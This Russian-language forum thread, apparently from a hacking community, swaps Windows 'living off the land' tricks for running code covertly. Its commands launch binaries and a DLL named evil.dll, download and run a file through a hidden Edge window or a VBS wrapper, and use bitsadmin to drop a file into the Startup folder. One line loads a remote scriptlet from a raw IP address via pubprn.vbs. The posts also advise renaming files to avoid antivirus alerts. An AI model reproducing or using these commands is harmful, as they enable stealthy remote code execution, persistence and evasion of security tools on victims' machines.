про калькулятор или calc.exe

[Johny]

​

 ​

распаковывает и стартует;

7z x C:\Users\administrator\Desktop\1.zip -o"c:\1" & start C:\1\1.exe
"c:\program files\winrar\rar.exe" x C:\Users\administrator\Desktop\1.rar C:\Users\administrator\Desktop & start 1.exe
"c:\program files\winrar\rar.exe" x -t -o+ -p12345 C:\Users\administrator\Desktop\1.rar C:\Users\administrator\Desktop & start 1.exe

 

[Johny]

​

 ​

OpenVPN cmd​

 

[Johny]

Тема тыц или тыц.​

 ​

​

 ​

p.s dll для теста тыц​

                                                       control.exe C:\Users\administrator\Desktop\evil.dll

 

[Johny]

​

 

[Ondrik8]

start /b "" start /b "" start /b "" start /b "" start /b "" start /b calc
Посмотреть вложение 1532

источник

 

[Johny]

сам иногда пользуюсь тыц кому надо поймет 

 

 

[Johny]

​

 ​

certoc.exe -LoadDLL​

 

[Johny]

​

 ​

#lolbin​

                                              C:\Windows\System32\WorkFolders.exe %SystemDrive%\control.exe

 

[Johny]

​

 ​

Cmdl32.exe​

 

[Johny]

​

 ​

VSCode, Discord) as NodeJS LOLBINs​

 

[Johny]

​

 

[Johny]

 

[Johny]

​

 ​

Новенькое тыц 

 ​

 

[Johny]

По тестил тыц и так браузер вообще не надо сворачивать  он должен быть закрыт, скачивает срыто и стартует 

 

start /min msedge.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe && timeout 7 & C:\Users\Administrator\Downloads\putty.exe
Пример с .vbs 

 

WScript.CreateObject("WScript.Shell").Run "cmd /c start /min msedge.exe https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe && timeout 7 & C:\Users\Administrator\Downloads\putty.exe",0,true

Всем п/т что бы не было алерта переименовываем в .html или любой другое расширение 

 ​

 ​

​

 

[Johny]

​

 ​

Finger новости тыц 

 ​

 

[Johny]

​

 

[Johny]

работает тыц 

 

 

[Johny]

​

 ​

p.s Не чего нового тыц  у нас круче есть тыц 

 ​

 

[Johny]

​

 

[Johny]

​

set POC=^|calc
echo %POC%
По тестил 

set POC=^|bitsadmin /transfer Explorers /download /priority FOREGROUND https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe %temp%\putty.exe
set POC=^|bitsadmin /transfer myDownloadJob /download /priority HIGH "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe" "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\putty.exe
set POC=^|cscript /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://94.103.94.222/1.sct